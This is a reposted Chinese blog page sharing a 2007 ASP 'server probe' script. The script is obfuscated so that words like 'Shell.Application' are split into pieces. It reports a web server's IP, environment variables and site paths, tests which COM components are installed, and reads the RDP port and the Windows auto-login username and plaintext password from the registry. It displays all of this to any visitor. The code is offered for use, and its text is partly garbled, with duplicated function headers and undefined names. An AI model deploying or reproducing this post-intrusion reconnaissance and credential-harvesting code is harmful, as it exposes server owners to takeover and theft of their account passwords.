<style
>
body{margin:
8
;border:none;background
-
color:buttonface;}
</
style
>
<!
-
program by heroooooo
time:
2007-
1
-
25
pm
5
:
00
这个是做个探针的,需要的时候可以用得着的.
->
<%
DimtheAct
SetwsX
=
Server.CreateObject(
"
WScrip
"
&
x
&
"
t.Shell
"
)
aryExEnvList
=Split
(strExEnvList,
"
$
"
)
theAct
=Request(
"
theAct
"
)
showTitle(
"服务器相关数据
"
)
response.write
"<p align=center>BY heroooooo<p><br>
"
CallPageecho()
response.write
"<br>服务器相关参数:<br>
"
callgetSrvInfo()
callgetSiteRootInfo()
callgetTerminalInfo()
response.write
"<br/>
"
%
>
<%
Sub getSrvInfo()Sub getSrvInfo()
Dim i, sa, objWshSysEnv, aryExEnvList, strExEnvList, intCpuNum, strCpuInfo, strOS Set sa = Server.CreateObject("She"&T&"ll.Appl"&T&"ication") strExEnvList = "SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _ "PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION" aryExEnvList = Split(strExEnvList, "$") Set objWshSysEnv = wsX.Environment("SYSTEM") chkErr(Err) intCpuNum = Request.ServerVariables("NUMBER_OF_PROCESSORS") If IsNull(intCpuNum) Or intCpuNum = "" Then intCpuNum = objWshSysEnv("NUMBER_OF_PROCESSORS") End If strOS = Request.ServerVariables("OS") If IsNull(strOS) Or strOS = "" Then strOS = objWshSysEnv("OS") strOs = strOs & "(有可能是 Windows2003 哦)" End If strCpuInfo = objWshSysEnv("PROCESSOR_IDENTIFIER") response.write "<li>服务器名: " & Request.ServerVariables("SERVER_NAME") & "</li>" response.write "<li>服务器IP: " & Request.ServerVariables("LOCAL_ADDR") & "</li>" response.write "<li>服务端口: " & Request.ServerVariables("SERVER_PORT") & "</li>" response.write "<li>服务器内存: " & getTheSize(sa.GetSystemInformation("PhysicalMemoryInstalled")) & "</li>" response.write "<li>服务器时间: " & Now & "</li>" response.write "<li>服务器软件: " & Request.ServerVariables("SERVER_SOFTWARE") & "</li>" response.write "<li>脚本超时时间: " & Server.ScriptTimeout & "</li>" response.write "<li>服务器CPU数量: " & intCpuNum & "</li>" response.write "<li>服务器CPU详情: " & strCpuInfo & "</li>" response.write "<li>服务器操作系统: " & strOS & "</li>" response.write "<li>服务器解译引擎: " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion & "</li>" response.write "<li>本文件实际路径: " & Request.ServerVariables("PATH_TRANmcATED") & "</li>" For i = 0 To UBound(aryExEnvList) response.write "<li>" & aryExEnvList(i) & ": " & wsX.ExpandEnvironmentStrings("%" & aryExEnvList(i) & "%") & "</li>" Next Set sa = Nothing Set objWshSysEnv = Nothing End Sub
Sub getSiteRootInfo()Sub getSiteRootInfo()
If isDebugMode = False Then On Error Resume Next End If Dim objTheFolder Set objTheFolder = fsoX.GetFolder(Server.MapPath("/")) response.write "<li>物理路径: " & Server.MapPath("/") & "</li>" response.write "<li>当前大小: " & getTheSize(objTheFolder.Size) & "</li>" response.write "<li>文件数: " & objTheFolder.Files.Count & "</li>" response.write "<li>文件夹数: " & objTheFolder.SubFolders.Count & "</li>" response.write "<li>创建日期: " & objTheFolder.DateCreated & "</li>" response.write "<li>最后访问日期: " & objTheFolder.DateLastAccessed & "</li>" End Sub
Sub getTerminalInfo()Sub getTerminalInfo()
If isDebugMode = False Then On Error Resume Next End If Dim terminalPortPath, terminalPortKey, termPort Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword terminalPortPath = "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" terminalPortKey = "PortNumber" termPort = wsX.RegRead(terminalPortPath & terminalPortKey) response.write "<br><li>终端服务端口及自动登录信息" If termPort = "" Or Err.Number <> 0 Then response.write "无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>" Else response.write "当前终端服务端口: " & termPort & "<br/>" End If autoLoginPath = "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" autoLoginEnableKey = "AutoAdminLogon" autoLoginUserKey = "DefaultUserName" autoLoginPassKey = "DefaultPassword" isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) If isAutoLoginEnable = 0 Then response.write "<li>系统自动登录功能未开启<br/>" Else autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) response.write "<li>自动登录的系统帐户: " & autoLoginUsername & "<br>" autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) If Err Then Err.Clear response.write "False" End If response.write "<li>自动登录的帐户密码: " & autoLoginPassword & "<br>" End If End Sub
Sub showTitle()Sub showTitle(str)
response.write "<title>" & str & " </title>" & vbNewLine response.write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" & vbNewLine response.write "" & vbNewLine End Sub
Sub Pageecho()Sub Pageecho()
Dim i, objTmp, txtObjInfo, strObjectList, strDscList txtObjInfo = Trim(Request("txtObjInfo")) strObjectList = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _ "IISSample.PageCounter,MSWC.PermissionChecker,ADO"&T&"DB.Conne"&T&"ction,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _ "Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _ "IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _ "Scripting.FileSystemObject,Adodb.Stream,She"&T&"ll.Appl"&T&"ication,WScri"&T&"pt.She"&T&"ll,Wscript.Network" strDscList = "广告轮换,浏览器信息,内容链接库,,,计数器,内容轮显,,权限检测,ADO 数据对象,SA-FileUp 文件上传,SoftArtisans 文件管理," & _ "刘云峰的文件上传组件,ASPUpload 文件上传,Dimac 文件上传,Dimac JMail 邮件收发,虚拟 SMTP 发信,ASPemail 发信,ASPmail 发信,dkQmail 发信," & _ "Geocel 发信,IISmail 发信,SmtpMail 发信,SA 的图像读写,Dimac 的图像读写组件," & _ "FSO,Stream 流,,," aryObjectList = Split(strObjectList, ",") aryDscList = Split(strDscList, ",") response.write "其他组件支持情况检测<br/>" response.write "在下面的输入框中输入你要检测的组件的ProgId或ClassId。<br/>" response.write "<form method=post>" response.write "<input name=txtObjInfo size=30 value=""" & txtObjInfo & """><input name=theAct type=submit value=我要检测>" response.write "</form>" If Request("theAct") = "我要检测" And txtObjInfo <> "" Then Call getObjInfo(txtObjInfo, "") End If response.write "<lu>组件名称 ┆ 支持及其它" For i = 0 To UBound(aryDscList) Call getObjInfo(aryObjectList(i), aryDscList(i)) Next response.write "</lu><br/>" End Sub
Sub getObjInfo()Sub getObjInfo(strObjInfo, strDscInfo)
Dim objTmp If isDebugMode = False Then On Error Resume Next End If response.write "<li> " & strObjInfo If strDscInfo <> "" Then response.write " (" & strDscInfo & "组件)" End If response.write " ┆ " Set objTmp = Server.CreateObject(strObjInfo) If Err <> -2147221005 Then response.write "√ " response.write "Version: " & objTmp.Version & "; " response.write "About: " & objTmp.About Else response.write "×" End If response.write "</li>" If Err Then Err.Clear End If Set objTmp = Nothing End Sub
Sub chkErr()Sub chkErr(Err)
If Err Then echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>" echo "<br/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>" echo "<hr></font>" Err.Clear Response.End End If End Sub
Function getTheSize()Function getTheSize(theSize)
If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G" If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M" If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K" If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B" End Function
%
>
转载自原文链接, 如需删除请联系管理员。
原文链接：一个小的服务器的探针程序(ASP)，转载请注明来源！
相关推荐